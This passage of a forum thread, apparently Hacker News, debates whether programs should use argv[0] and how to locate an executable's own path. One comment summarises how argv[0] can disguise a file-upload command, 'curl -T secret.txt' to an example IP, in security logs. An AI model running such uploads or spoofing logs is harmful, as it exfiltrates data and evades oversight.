261–270 of 277 posts
Earlier quoted context omitted.
On Unixes it doesn't matter if /usr/bin/cmp is a script or a compiled binary. If the script has correct shebang, kernel takes care of executing it.
Shebangs are not part of the UNIX specification. What happens if an executable starts with `#!' is implementation-defined.
Earlier quoted context omitted.
I mean, it's still more convenient to type `rm` rather than `Remove-Item` when doing day-to-day computer tasks on your computer (yes I'm one of those people who lives in a terminal). It's also certainly better from a readability standpoint to have `Remove-Item` rather than `rm` in a script. Likewise, I would much rather type `ls -Al` rather than `ls --almost-all --long-listing` (N.B. --long-listing is not the long op…
The best name from a readability standpoint is the shortest name you know by heart. So you might actually want to consider who your intended audience is.
> “Should a program be allowed to behave differently based on its name?” I don’t see why not. It’s allowed to behave differently based on the arguments that follow it. I personally think the genericity of including the program name itself as one of its own calling arguments is really meta cool.
If i download a new version of foo and rename my old version to foo_old_backup_2, should foo_old_backup_2 start behaving differently, just because it has a different name? NO THANKS! A program should be sandboxed from its environment, including how the user started it. How a user names and organizes his files is a matter between the user and the operating system, not something individual program should care about.
Earlier quoted context omitted.
I don't think argv[0] includes the full path (or at least some programming language strip the whole path and keep only the last part)
I stand corrected - C, Go and Python are all consistent here and show the full path. I seem to recall there was a language that only provided the stripped part - but I guess my memory is failing me here. Sorry for the wrong information above.
For the help case in gp I think it makes sens for programs to always strip away anything up to including the last slash from argv0.
This is near and dear to my heart. I wanted to make a utility to get the arguments of other processes, and found after looking that every single use of the KERN_PROCARGS2 sysctl (used on macOS) on the internet is wrong (they assume argv[0] is not an empty string), including Apple's and Google's. So after making my utility I also made a library out of it, both are bsd-3, but non-gratis: https://getargv.narzt.cam/
If nothing else, argv[0] is useful for producing error messages that indicate the name of the executable that is outputting the message. It's probably a good idea to not have it settable to other values by the invoking process, as is generally the case on Windows (ignoring its Posix subsystem here).
This is stupid. argv0 is just some data like any other data. It's ridiculously useful aside from the obvious busybox style usage. It's huge to be able to have a pointer to the directory where the executable resides, so you can package other assets along side it and have it all work for free without a seperate configuration file or env variables etc. Or for debugging or even non-error logging. You might call a binary…
It's huge to be able to have a pointer to the directory where the executable resides, so you can package other assets along side it and have it all work for free without a seperate configuration file or env variables etc. Yes! I was surprised how far down I had to scroll to find somebody mentioning that one. How else can you write a reasonably robust script that actually, you know, does something? You almost always n…
Some languages don't provide a better solution but they should. For Bash there is ${BASH_SOURCE[0]}. For compiled executables you use OS-provided functions like GetModuleFileName(NULL, ...) on Windows and readlink("/proc/self/exe", ...) on Linux.
The author's extensive criticisms of using argv[0] are a distraction from the main point of the article: Summary: By manipulating argv[0], a malicious program can hide what its doing in security logs. For example, a malicious program can make "curl -T secret.txt 123.45.67.89" look like "curl localhost | grep -T secret.txt 123.45.67.89" in security logs. A mallicious program can also use very large argv[0] values as a…
The "look like" is not a problem with the OS but a problem with displaying an array as a space-separated string without sufficient quoting or escaping, making things ambiguous.
arg0 also contains the path from where the invoker invoked the binary so for me this enables all sorts of binaries that work out where their dependencies are relative to their original binary. That's extremely convenient because you can combine it with $PWD to find out the absolute path to the binary. One can then guess what the PYTHONPATH and LD_LIBRARY_PATH should be most of the time and save someone from having to…
Not in general it doesn't. Convention for shells is to pass the string the user used to invoke the program which may be an absolute path, a relative path or just a filename resolved against $PATH.
> this enables all sorts of binaries that work out where their dependencies are relative to their original binary
You should use the OS-specific functions to retrieve the current executable path for that - GetModuleFileName(NULL, ...) on Windows and readlink("/proc/self/exe", ...) on Linux. For script look into your interpreter documentation - e.g. Bash has ${BASH_SOURCE[0]}. Unfortunately POSIX shell scripts are SOL and have to rely on $0 plus some $PATH searching.